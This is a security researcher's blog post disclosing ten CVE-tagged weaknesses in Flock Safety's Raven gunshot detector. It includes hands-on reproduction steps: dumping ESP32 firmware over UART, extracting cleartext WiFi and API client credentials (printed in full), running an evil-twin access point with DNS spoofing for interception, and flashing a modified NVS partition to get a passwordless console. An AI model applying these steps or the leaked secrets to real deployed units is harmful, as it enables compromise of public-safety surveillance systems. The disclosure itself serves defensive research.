All research was performed against a unit I owned and we did not and do not have any intention of disrupting any existing infrastructure. All disclosures are intended for research purposes only, on devices the researcher owns.
Well with an introduction to the organization, their services and devices and some other information out of the way via the previous post (check it out HERE) if you missed it, it’s time to jump into the fun stuff, including some vulnerabilities and their reproduction steps I found in their Gunshot Detection System a.k.a The Raven.

Some quick info:
Vendor: Flock Safety
The Raven Gunshot Detection System
Model Number: v1.2, Package Version: 1.9.7, Firmware Version: 76.3.0, App Version: fa9a3b8; No/unsure of fixed version
System on a chip (SoC)
Reference: Device Vendor Page
I (5306) RAVEN_NDP: chip: NDP120-B0
I (5318) RAVEN_NDP: package version: 1.9.7
I (5321) RAVEN_NDP: firmware version: 76.3.0
I (5323) RAVEN_NDP: parameters version:
I (5325) RAVEN_NDP: number of classes: 3
I (5337) RAVEN_NDP: number of labels: 3
I (5340) RAVEN_NDP: labels:
I (5341) RAVEN_NDP: NN0:gunshot
I (5343) RAVEN_NDP: NN0:tire
I (5345) RAVEN_NDP: NN0:background
I (5359) RAVEN_NDP: syntiant_ndp120_dsp_flow_setup_get succeeded with a value

When you open it up, it turns out that the device is running an ESP32 chipset, which surprised me for sure. In this case, it’s a ESP32-WROOM-32D.

Luckily, it’s easy enough to find a pinout for this chip.

At this point you have two options, you can either, set some probes to touch the pinout to boot ‘er up, or you can use the nicely provided UART unpopulated pads on the other side of the board.

Make sure you have the battery plugged.
I ended up just soldering some jumper wires onto the pads and using my bus pirate to check for some logs:

115 8n1 – transparent bridge mode works fine via the bus pirate.
When you boot it up, you should see some nice boot logs:

Here’s the full boot logs:
I (0) cpu_start: Starting scheduler on APP CPU.
I (2491) spiram: Reserving pool of 32K of internal memory for DMA/internal alloc ations
W (2504) RTC_STATE: Initializing RTC state on CRC mismatch
I (2582) RAVEN_NVS: Loaded consoleLogEn in load_from_nvs
ets Jun 8 2016 00:22:57
rst:0x5 (DEEPSLEEP_RESET),boot:0x13 (SPI_FAST_FLASH_BOOT)
configsip: 0, SPIWP:0xee
clk_drv:0x00,q_drv:0x00,d_drv:0x00,cs0_drv:0x00,hd_drv:0x00,wp_drv:0x00
mode:DIO, clock div:2
load:0x3fff0030,len:5832
load:0x40078000,len:15380
load:0x40080400,len:3672
entry 0x40080674
I (27) boot: ESP-IDF HEAD-HASH-NOTFOUND 2nd stage bootloader
I (27) boot: compile time 01:09:33
I (27) boot: chip revision: 1
I (31) boot_comm: chip revision: 1, min. bootloader chip revision: 0
I (38) boot.esp32: SPI Speed : 40MHz
I (43) boot.esp32: SPI Mode : DIO
I (47) boot.esp32: SPI Flash Size : 16MB
I (52) boot: Enabling RNG early entropy source...
I (57) boot: Partition Table:
I (61) boot: ## Label Usage Type ST Offset Length
I (68) boot: 0 nvs WiFi data 01 02 00009000 00004000
I (76) boot: 1 otadata OTA data 01 00 0000d000 00002000
I (83) boot: 2 phy_init RF data 01 01 0000f000 00001000
I (91) boot: 3 ota_0 OTA app 00 10 00010000 00400000
I (98) boot: 4 ota_1 OTA app 00 11 00410000 00400000
I (106) boot: 5 storage Unknown data 01 81 00810000 00150000
I (113) boot: End of partition table
I (118) boot_comm: chip revision: 1, min. application chip revision: 0
I (125) esp_image: segment 0: paddr=00010020 vaddr=3f400020 size=93260h (602720) map
I (351) esp_image: segment 1: paddr=000a3288 vaddr=3ffbdb60 size=08564h ( 34148) load
I (365) esp_image: segment 2: paddr=000ab7f4 vaddr=40080000 size=04824h ( 18468) load
I (373) esp_image: segment 3: paddr=000b0020 vaddr=400d0020 size=117a18h (1145368) map
I (787) esp_image: segment 4: paddr=001c7a40 vaddr=40084824 size=1a8d8h (108760) load
I (832) esp_image: segment 5: paddr=001e2320 vaddr=400c0000 size=00068h ( 104)
I (832) esp_image: segment 6: paddr=001e2390 vaddr=50000000 size=00020h ( 32)
I (853) boot: Loaded app from partition at offset 0x10000
I (853) boot: Disabling RNG early entropy source...
I (865) psram: This chip is ESP32-D0WD
I (866) spiram: Found 64MBit SPI RAM device
I (866) spiram: SPI RAM mode: flash 40m sram 40m
I (870) spiram: PSRAM initialized, cache is in low/high (2-core) mode.
I (878) cpu_start: Pro cpu up.
I (881) cpu_start: Starting app cpu, entry point is 0x400812dc
I (0) cpu_start: App cpu up.
I (1751) spiram: SPI SRAM memory test OK
I (2363) cpu_start: Pro cpu start user code
I (2363) cpu_start: cpu freq: 80000000
I (2363) cpu_start: Application information:
I (2366) cpu_start: Project name: audio_event_detection
I (2372) cpu_start: App version: fa9a3b8
I (2377) cpu_start: Compile time: Aug 13 2024 01:09:24
I (2383) cpu_start: ELF file SHA256: 863740b704d3beae...
I (2389) cpu_start: ESP-IDF: HEAD-HASH-NOTFOUND
I (2396) heap_init: Initializing. RAM available for dynamic allocation:
I (2403) heap_init: At 3FFAFF10 len 000000F0 (0 KiB): DRAM
I (2409) heap_init: At 3FFB6388 len 00001C78 (7 KiB): DRAM
I (2415) heap_init: At 3FFB9A20 len 00004108 (16 KiB): DRAM
I (2421) heap_init: At 3FFCE2C0 len 00011D40 (71 KiB): DRAM
I (2428) heap_init: At 3FFE0440 len 00003AE0 (14 KiB): D/IRAM
I (2434) heap_init: At 3FFE4350 len 0001BCB0 (111 KiB): D/IRAM
I (2441) heap_init: At 4009F0FC len 00000F04 (3 KiB): IRAM
I (2447) spiram: Adding pool of 4095K of external SPI memory to heap allocator
I (2456) spi_flash: detected chip: generic
I (2459) spi_flash: flash io: dio
I (2475) pm: Frequency switching config: CPU_MAX: 80, APB_MAX: 80, APB_MIN: 40, Light sleep: DISABLED
I (2476) cpu_start: Starting scheduler on PRO CPU.
I (0) cpu_start: Starting scheduler on APP CPU.
I (2491) spiram: Reserving pool of 32K of internal memory for DMA/internal allocations
W (2504) RTC_STATE: Initializing RTC state on warm boot, with matching CRC
I (2579) RAVEN_NVS: Loaded consoleLogEn in load_from_nvs
Definitely some interesting things to note already, such as the partition table and the final line:
Loaded consoleLogEn in from load_from_nvs
Now since we have some output it’s time to put it into download mode and see if we can dump the RTOS (firmware).
For that, you’ll want to hold boot (IO0) on their pads down, connecting VIN to your bus pirates VOUT, RX to TX, TX to RX, GND and then connect EN to an unused pin that’s pulled down or connect it to ground.
Once it’s on and your bus pirate is on, just change EN to floating and let it reboot. You should immediately see DOWNLOAD_BOOT.
UART> bridge
UART bridge. Press Bus Pirate button to exit.
ets Jun 8 2016 00:22:57
rst:0x1 (POWERON_RESET),boot:0x3 (DOWNLOAD_BOOT(UART0/UART1/SDIO_REI_REO_V2))
waiting for download
Sweet! Now we can use ‘esptool’ and similar tools to dump firmware, and glean some more information about the chip!
First I’d recommend just confirming that esptool can communicate with the chip:
python -m esptool --chip esp32 --port COM13 chip_id
This should result in output similar too:
esptool.py v4.7.0
Serial port COM13
Connecting....
Chip is ESP32-D0WD (revision v1.0)
Features: WiFi, BT, Dual Core, 240MHz, VRef calibration in efuse, Coding Scheme None
Crystal is 40MHz
MAC: 90:38:RE:DA:CT:ED
Uploading stub...
Running stub...
Stub running...
Warning: ESP32 has no Chip ID. Reading MAC instead.
MAC: 90:38:RE:DA:CT:ED
Hard resetting via RTS pin...
Sweet!
Now lets dump the firmware:
python -m esptool --chip esp32 --port COM13 read_flash 0x00000 0x1000000 firmware_dump.bin

The full ‘firmware.bin’ should be 16.0 MB (16,777,216 bytes)
Then you can run strings against it and confirm that it’s in cleartext, thus indicating that flash encryption is disabled.

Which is vulnerability 1:
Flash Encryption is Disabled (ESP32) – CVE-2025-47820
CWE-1326: Missing Immutable Root of Trust in Hardware
Description: The ESP32 system on a chip (SoC) that powers the device was found to lack flash encryption. In this instance, it allows an attacker to read its firmware in cleartext.
Alternative reproduction steps:
1b. Run the following command when the device is accessible over UART:
python -m espefuse --port COM13 dump
2b. In the output, note ‘BLOCK1’s value, showing that flash encryption is disabled:
BLOCK1 (flash_encryption) [1 ] read_regs: 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000

Additional Way:
1c. Run the following command to view the ESPEFuse summary, confirming that flash encryption is disabled.
python -m espefuse --port COM13 summary
2c. Note in the output the Flash fuses are are zerod out:
FLASH_CRYPT_CNT (BLOCK0) = 0 R/W (0b0000000)
FLASH_CRYPT_CONFIG (BLOCK0) = 0 R/W (0x0)
BLOCK1 (BLOCK1) Flash encryption key
= 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 R/W
DISABLE_DL_ENCRYPT (BLOCK0) = False R/W (0b0)
DISABLE_DL_DECRYPT (BLOCK0) = False R/W (0b0)

Precedent: CVE-2022-26321 – Lack of encryption in IoT devices
Now let’s jump through the next few vulnerabilities before going over some other interesting points.
Vulnerability 2:
Secure Boot is Disabled (ESP32) – CVE-2025-47819
CWE-1326: Missing Immutable Root of Trust in Hardware or CWE-347: Improper Verification of Cryptographic Signature
Description: The ESP32 system on a chip (SoC) that powers the device was found to lack Secure Boot. In this instance, it allows an attacker to flash modified firmware with no protections.
The reproduction steps are basically the same:
1. Run the following command when the device is accessible over UART:
python -m espefuse --port COM13 dump
2. Note in the output the lack of secure boot configuration:
BLOCK2 (secure_boot_v1 s) [2 ] read_regs: 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000
BLOCK2 (BLOCK2) Security boot key
= 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 R/W
Alternatively:
1a. Run the following command:
python -m espefuse --port COM13 summary
2a. Note the values of ‘ABS_DONE_0’ and ‘ABS_DONE_1’ showing that secure boot v1 and v2 is disabled:
ABS_DONE_0 (BLOCK0) Secure boot V1 is enabled for bootloader image = False R/W (0b0)
ABS_DONE_1 (BLOCK0) Secure boot V2 is enabled for bootloader image = False R/W (0b0)
1b. Just flash a modified firmware / specific partition and note its accepted.
Precedent: CVE-2021-27148 – Lack of secure boot in embedded system
Vulnerability 3:
JTAG is enabled (ESP32) – CVE-2025-47819
CWE-693: Protection Mechanism Failure OR CWE-1191: On-Chip Debug and Test Interface With Improper Access Control
Description: The ESP32 system on a chip (SoC) that powers the device was found to have JTAG enabled. Leaving JTAG enabled on an ESP32 in a commercial product can expose it to security risks, including unauthorized access, firmware extraction, and potential code manipulation. This could lead to intellectual property theft, device cloning, or attackers bypassing security protections. To mitigate these risks, JTAG should be disabled in production using efuse settings, and additional security measures like secure boot and flash encryption should be implemented.
As the reproduction steps are the same, if you look at the screenshots from Vulnerability 1 (Lack of Flash Encryption) you’ll see that the ‘JTAG_DISABLE’ variable is not disabled:
JTAG_DISABLE (BLOCK0) Disable JTAG = False R/W (0b0)
Precedent: CVE-2019-12586 – JTAG debugging access leading to full device compromise.
Vulnerability 4:
UART Download Mode is Enabled (ESP32) – CVE-2025-47819
CWE-1299: Missing Protection Mechanism for Alternate Hardware Interface
Description: The ESP32 system on a chip (SoC) that powers the device was found to have UART download mode enabled. This setting allows dumping of firmware and along with other misconfigurations and vulnerabilities, it makes it trivial for an attacker to dump the firmware.
Yes, it’s literally an issue that you can just throw it into Download mode…
Again, as the reproduction steps are the same, if you view the earlier screenshot, you’ll notice that ‘UART_DOWNLOAD-DIS” is not set to true:
UART_DOWNLOAD_DIS (BLOCK0) = False R/W (0b0)
Precedent: CVE-2020-12522 – IoT bootloader vulnerabilities allowing unauthorized flashing.
Vulnerability 5:
No Anti-Rollback Protection (ESP32) – CVE # Pending
CWE-1299: Missing Protection Mechanism for Alternate Hardware Interface
Description: The ESP32 system on a chip (SoC) that powers the device was found to have anti-rollback protection disabled. This along with other vulnerabilities found results in making firmware extraction or malicious firmware deployment trivial.
Again, as the reproduction steps are the same, if you view the earlier screenshot, you’ll notice that ‘SECURE_VERSION” is not set to true:
SECURE_VERSION (BLOCK3) Secure version for anti-rollback = 0 R/W (0x00000000)
Precedent: CVE-2022-30552 – Lack of anti-rollback protection in embedded firmware.
Cool, now to some more interesting ones, and then yes, I’ll go over how to console access!
Vulnerability 6:
Hardcoded WiFi SSID & Password in Cleartext – Auto Connects (ESP32/Firmware) – CVE-2025-47818
CWE-798: Use of Hardcoded Credentials
Description: The ESP32 system on a chip (SoC) that powers the device was found to store cleartext SSID & Password within its firmware. The device automatically connects to this SSID if the LTE modem is unavailable/not configured. This enables an attacker to set up an MiTM attack.
Reproduction Steps:
1. Dump the firmware using the following command.
python -m esptool --chip esp32 --port COMx read_flash 0x00000 0x1000000 firmware_dump.bin
2. Now run strings and grep for Flock:
strings firmware_dump.bin | grep 'Flock'
You’ll see output similar too:
Flock
security
35|[
Flock-230503
security
s>:pW
Flock
Ay4TwnB43fmx
3. Note set up an evil twin AP with the SSID of “Flock” and password of ‘Ay4TwnB43fmx’
4. Boot the device up, ensuring that the LTE modem cannot connect OR just unplug it completely and note it connects the evil twin.
Boot Logs:
I (113228) NET_INT: Network actions pending!
I (113229) NET_INT: Connecting network
I (113294) wifi_init: WiFi/LWIP prefer SPIRAM
I (113301) phy_init: phy_version 4670,719f9f6,Feb 18 2021,17:07:07
I (115947) WIFI: Found 13 networks
I (115948) WIFI: Network found SSID SectorI
I (115949) WIFI: Signal Strength = -22
I (115960) WIFI: Network found SSID Flock
I (115964) WIFI: Signal Strength = -24
I (116066) WIFI: Preferred SSID not set. Using flockApList.
I (116072) WIFI: Connecting to SSID Flock
I (116088) WIFI: wifi_start finished.
I (116093) NET_INT: Network connect to wifi returned ok
I (116159) WIFI: WiFi Connected to AP
I (116985) esp_netif_handlers: sta ip: 192.168.191.60, mask: 255.255.255.0, gw: 192.168.191.1
I (116987) NET_INT: got ip:192.168.191.60
I (116990) NET_INT: Setting modem sleep mode to WIFI_PS_NONE
Alternatively, carve the NVS partition and then convert it to CSV or use strings and note ‘sta.apinfo’ values and view it to see the same SSID & Password.
1a. Carve out the ‘NVS’ partition from the full firmware dump:
./esp32knife.py --chip auto load_from_file /FlockSafety/Raven-Gunshot/firmware_dump.bin
OR
1b. Dump the NVS parition.
python -m esptool --chip esp32 --port COM13 read_flash 0x9000 0x4000 nvs.bin
2ab. Convert the nvs to csv:
./nvs2cvs.py -t=cvs FlockSafety/Raven-Gunshot/nvs.bin >> FlockSafety/Raven-Gunshot/nvs-csv.csv
3ab. Open the CSV and note the ‘sta.apinfo’ values. (binary blob_data/sta.apinfo.bin)
00000000: 0500 0000 466c 6f63 6b00 0000 0000 0000 0000 0000 0000 0000 :….Flock……………
00000018: 0000 0000 0000 0000 0000 0000 7365 6375 7269 7479 0000 0000 :…………security….
00000030: 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 :……………………
00000048: 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 :……………………
00000060: 0000 0000 00ff ffff ffff ffa3 37ad 0aa6 4ea4 b2c0 fd07 0927 :…………7…N……'
00000078: 49b8 2b51 3df0 0933 f1d1 28cc ec05 3335 7c5b 850b 0c00 0000 :I.+Q=..3..(…35|[……
00000090: 466c 6f63 6b2d 3233 3035 3033 0000 0000 0000 0000 0000 0000 :Flock-230503…………
000000a8: 0000 0000 0000 0000 7365 6375 7269 7479 0000 0000 0000 0000 :……..security……..
000000c0: 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 :……………………
000000d8: 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 :……………………
000000f0: 00ff ffff ffff ff8c 733e 3a70 571b 5a07 45df b2a8 af1c fd43 :……..s>:pW.Z.E……C
00000108: 16d2 e115 df65 25b5 88d7 0d54 99e5 3c0b 0500 0000 466c 6f63 :…..e%….T..<…..Floc
00000120: 6b00 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 :k…………………..
00000138: 0000 0000 4179 3454 776e 4234 3366 6d78 0000 0000 0000 0000 :….Ay4TwnB43fmx……..

(FYI, guess what Flock-230503 is and ‘security’. If you guessed default Host AP SSID + Password, you got it!)
Precedent: CVE-2019-12586 – IoT device auto-connecting to an attacker-controlled AP.
Vulnerability 7:
API Client ID & Client Secret Hardcoded in Cleartext (states its deprecated but I will not let the device be exposed to the internet to see if it is valid without permission) (Firmware) – CVE-2025-47821
CWE-798: Use of Hardcoded Credentials
Description: The device was found to store API credentials in cleartext within its NVS partition. In this case, a Client ID and Client Secret were hardcoded. Note that it states its deprecated but is still configured to be used as a fallback indicating they are still valid.
Reproduction steps are basically the same as Vulnerability 6, grab the NVS partition, then use strings or convert it:
00000078: 01ff ffff ffff ffff 0121 03ff ffa5 1626 636c 6965 6e74 4964 :.........!.....&clientId
00000090: 0000 0000 0000 0000 2100 ffff 6026 1c0d 7876 7467 7379 746e :........!...&..xvtgsytn
000000a8: 5979 7273 3770 6b38 3851 3476 4c51 5362 4252 4375 3338 4757 :Yyrs7pk88Q4vLQSbBRCu38GW
000000c0: 00ff ffff ffff ffff ffff ffff ffff ffff ffff ffff ffff ffff :........................
000000d8: ffff ffff ffff ffff 0121 04ff ccae f6d9 636c 6965 6e74 5365 :.........!......clientSe
000000f0: 6372 6574 0000 0000 4100 ffff 4b35 cb7c 4263 795a 4849 7a2d :cret....A...K5.|BcyZHIz-
00000108: 4434 3941 7151 7357 3833 684b 6459 7658 7637 5733 7038 6a7a :D49AqQsW83hKdYvXv7W3p8jz
00000120: 635f 776c 7550 5f63 4150 3563 426d 5033 6d51 684e 7974 5445 :c_wluP_cAP5cBmP3mQhNytTE
00000138: 7a38 4250 776d 396b 00ff ffff ffff ffff ffff ffff ffff ffff :z8BPwm9k................
echo "4b35cb7c4263795a48497a2d44343941715173573833684b645976587637573370386a7a635f776c75505f6351503563426d50336d51684e797454457a384250776d396b" | xxd -r -p
K5�|BcyZHIz-D49AqQsW83hKdYvXv7W3p8jzc_wluP_cQP5cBmP3mQhNytTEz8BPwm9k
Alternatively, if you go the CSV route, then just note the ‘clientId’ data string value and the ‘clientSecret’ data string value:
clientId data string xvtgsytnYyrs7pk88Q4vLQSbBRCu38GW
clientSecret data string BcyZHIz-D49AqQsW83hKdYvXv7W3p8jzc_wluP_cAP5cBmP3mQhNytTEz8BPwm9k

Some relevant logs:
CORD: Confidence Level above threshold. Found ML data to tag
E (848920) esp-tls: [sock=60] select() timeout
E (848927) esp-tls: Failed to open new connection
E (848927) TRANSPORT_BASE: Failed to open a new connection
E (848931) HTTP_CLIENT: Connection failed, sock < 0
E (849036) AUTH_HELPER: HTTP POST Fetch Auth Token request failed: ESP_ERR_HTTP_CONNECT, response code: 0
I (849038) HTTP_HELP: HTTP_EVENT_DISCONNECTED
I (849041) HTTP_HELP: HTTP_EVENT_DISCONNECTED
E (849047) AUTH_HELPER: Failed to cleanup http client
E (849057) AUTH_HELPER: Failed to initialize auth0 auth token: ESP_FAIL
E (849060) HPNOTIQ_HELP: Could not set authorization header in execute_call_to_hpnotiq: ESP_FAIL
I (849069) HTTP_HELP: HTTP_EVENT_DISCONNECTED
I (849074) HTTP_HELP: HTTP_EVENT_DISCONNECTED
W (849080) HPNOTIQ_HELP: Failed to authenticate through auth0 with hpnotiq, falling back to hardcoded api key
I (849111) HPNOTIQ_HELP: Hpnotiq host: https://hpnotiq.flocksafety.com/api/v2/devices/identity?macAddress=90380CE73230, ip: 192.168.191.79
I (849116) HPNOTIQ_HELP: Executing call to hpnotiq with deprecated authentication
I (851446) NDP_TASK: Finished recording.
Precedent: CVE-2021-44228 – Hardcoded credentials in IoT firmware.
Vulnerability 8:
Lack of Server Verification (Cert Pinning is enabled but device blindly trusts any server via DNS spoofing) [High confidence] – CVE # Pending
CWE-295: Improper Certificate Validation
Description: Although certificate pinning is enabled, so the traffic is encrypted, there is no server verification so DNS spoofing is still possible.
Reproduction Steps for this one is to follow Vulnerability 6 but ensure that you have some type of MiTM router. Then:
1. Using either a modified /etc/hosts on the router or running DNSChef, spoof the API subdomains the raven hits:
device-login.flocksafety.com
hpnotiq.flocksafety.com

2. Intercept the traffic by using a TCP server such as IONinja:
16 03 01 00 f9 01 00 00 f5 03 03 67 a9 96 3f 54 ▬♥☺·ù☺··õ♥♥g©□?T
33 c6 d8 d7 9b a2 e2 ab 8d 25 5b bc d1 d6 74 74 3ÆØכ‹¢⫍‹‹%[¼ÑÖtt
93 27 8e bd 14 f4 4b f8 a3 4d 57 00 00 62 c0 2c □'□½¶ôKø£MW··bÀ,
c0 30 00 9f c0 ad c0 9f c0 24 c0 28 00 6b c0 0a À0·□-‹▼‹À$À(·kÀ◙
c0 14 00 39 c0 af c0 a3 c0 2b c0 2f 00 9e c0 ac À¶·9/‹#‹À+À/·□,‹
c0 9e c0 23 c0 27 00 67 c0 09 c0 13 00 33 c0 ae ▲‹À#À'·gÀ○À‼·3.‹
c0 a2 00 9d c0 9d 00 3d 00 35 c0 32 c0 2a c0 0f "‹·□↔‹·=·5À2À*À☼
c0 2e c0 26 c0 05 c0 a1 00 9c c0 9c 00 3c 00 2f À.À&À♣!‹·□∟‹·<·/
c0 31 c0 29 c0 0e c0 2d c0 25 c0 04 c0 a0 00 ff À1À)À♫À-À%À♦ ‹·ÿ
01 00 00 6a 00 00 00 1c 00 1a 00 00 17 68 70 6e ☺··j···∟·→··↨hpn
6f 74 69 71 2e 66 6c 6f 63 6b 73 61 66 65 74 79 otiq.flocksafety
2e 63 6f 6d 00 0d 00 16 00 14 06 03 06 01 05 03 .com·♪·▬·¶♠♥♠☺♣♥
05 01 04 03 04 01 03 03 03 01 02 03 02 01 00 0a ♣☺♦♥♦☺♥♥♥☺☻♥☻☺·◙
00 1a 00 18 00 19 00 1c 00 18 00 1b 00 17 00 16 ·→·↑·↓·∟·↑·←·↨·▬
00 1a 00 15 00 14 00 13 00 12 00 1d 00 0b 00 02 ·→·§·¶·‼·↕·↔·♂·☻
01 00 00 16 00 00 00 17 00 00 00 23 00 00 ☺··▬···↨···#··
Client connected from 192.168.191.60:62841
16 03 01 00 f9 01 00 00 f5 03 03 67 a9 96 7c a3 ▬♥☺·ù☺··õ♥♥g©□|£
ac 13 45 f0 f4 8c 01 8b 5b 30 a1 68 7a 73 dd 13 ¬‼Eðô□☺□[0¡hzsÝ‼
e2 9c 65 db 28 a6 6a 56 e3 b9 e6 00 00 62 c0 2c â□eÛ(¦jVã¹æ··bÀ,
c0 30 00 9f c0 ad c0 9f c0 24 c0 28 00 6b c0 0a À0·□-‹▼‹À$À(·kÀ◙
c0 14 00 39 c0 af c0 a3 c0 2b c0 2f 00 9e c0 ac À¶·9/‹#‹À+À/·□,‹
c0 9e c0 23 c0 27 00 67 c0 09 c0 13 00 33 c0 ae ▲‹À#À'·gÀ○À‼·3.‹
c0 a2 00 9d c0 9d 00 3d 00 35 c0 32 c0 2a c0 0f "‹·□↔‹·=·5À2À*À☼
c0 2e c0 26 c0 05 c0 a1 00 9c c0 9c 00 3c 00 2f À.À&À♣!‹·□∟‹·<·/
c0 31 c0 29 c0 0e c0 2d c0 25 c0 04 c0 a0 00 ff À1À)À♫À-À%À♦ ‹·ÿ
01 00 00 6a 00 00 00 1c 00 1a 00 00 17 68 70 6e ☺··j···∟·→··↨hpn
6f 74 69 71 2e 66 6c 6f 63 6b 73 61 66 65 74 79 otiq.flocksafety
2e 63 6f 6d 00 0d 00 16 00 14 06 03 06 01 05 03 .com·♪·▬·¶♠♥♠☺♣♥
05 01 04 03 04 01 03 03 03 01 02 03 02 01 00 0a ♣☺♦♥♦☺♥♥♥☺☻♥☻☺·◙
00 1a 00 18 00 19 00 1c 00 18 00 1b 00 17 00 16 ·→·↑·↓·∟·↑·←·↨·▬

Of course, if you want to go even deeper, feel free to inject your own certificate, but as their cloud infrastructure was not in scope for me, I didn’t bother.
Precedent: CVE-2021-29457 – Certificate validation issues in IoT devices.
And finally! How to get UART Console Access!
Vulnerability 9:
UART Console Access Can be Enabled by Modifying NVS (ESP32) – CVE-2025-47819
CWE-425: Forced Browsing / Unauthorized Access Mechanism
Description:
The NVS (Non-Volatile Storage) allows modification without proper authentication, this could lead to privilege escalation or unauthorized access. This results in UART access which allows firmware upload, download or modifications along with information disclosure and a shell.
Those who may have some experience with ESP32 chips may have noticed that the console EFUSE is disabled which prevents console access. Luckily in this case, there’s a nice variable you can set in the NVS partition to reenable it!
1. Use the espefuse summary command to note that ‘CONSOLE_DEBUG_DISABLE’ is set to true:
python -m espefuse --port COM13 summary
Output:
CONSOLE_DEBUG_DISABLE (BLOCK0) Disable ROM BASIC interpreter fallback = True R/W (0b1)
2. To get around this, lets dump the NVS partition:
python -m esptool --chip esp32 --port COM13 read_flash 0x9000 0x4000 nvs.bin
3. Then convert the NVS to CSV:
./nvs2cvs.py -t=cvs FlockSafety/Raven-Gunshot/nvs.bin >> FlockSafety/Raven-Gunshot/nvs-csv.csv
4. Now open the CSV, and note the ‘consoleLogEn’ value is set to 0. Change it to 1 and then save the modified CSV.

5. Convert the modified CSV to proper NSV format:
./esp32knife.py nvs_import -i FlockSafety/Raven-Gunshot/modified/nvs-modified.csv FlockSafety/Raven-Gunshot/modified/nvs_new.bin
OR
python /esp-idf/components/nvs_flash/nvs_partition_generator/nvs_partition_gen.py generate FlockSafety/Raven-Gunshot/modified/nvs-modified.csv FlockSafety/Raven-Gunshot/modified/nvs_modified.bin 0x4000
6. Now flash the modified NVS partition:
python -m esptool --port COM13 --chip esp32 write_flash 0x9000 nvs_modified.bin

7. Reboot the device, and note that you now have console access!

Check out some of the commands that are accessible:

Precedent: CVE-2023-20025 – Insecure firmware update mechanism leading to unauthorized modification.
And finally that leads to the final vulnerability I’m disclosing at this time.
Vulnerability 10:
UART Console Access has No Password. (Firmware) – CVE-2025-4781
CWE-1390: Weak Authentication
Description: UART console access is only protected via a modifiable value in the NVS partition. AKA no password is set.
Reproduction Steps are the same as Vulnerability 9, just take note that there’s no authentication.
Next up, is the Falcon/Sparrow; Flock Safety’s Automated License Plate Reader (ALPR)! HERE
View all my write-ups in regards to my Flock Safety Security Research:
Part 1: Bird Hunting Season – Security Research on Flock Safety’s Anti-Crime Systems: HERE
Part 2: Plucked and Rooted – Device 1: Debug Shell on Flock Safety’s Raven Gunshot Detection System: HERE
Part 3: Grounded Flight – Device 2: Root Shell on Flock Safety’s Falcon/Sparrow Automated License Plate Reader: HERE
Part 4: Trap Shooter – Flock Safety Sniffer & Alarm: HERE
Part 5: Root from the Coop – Device 3: Root Shell on Flock Safety’s Bravo Compute Box: HERE
Part 6: Fly-By – Device 2: The Falcon/Sparrow – Gated Wireless RCE, Camera Feed, DoS, Information Disclosure and More: HERE
Part 7: Button Presses to Wireless RCE: Shell on Flock Safety’s License Plate Cameras Over Wi-Fi: HERE
END TRANSMISSION
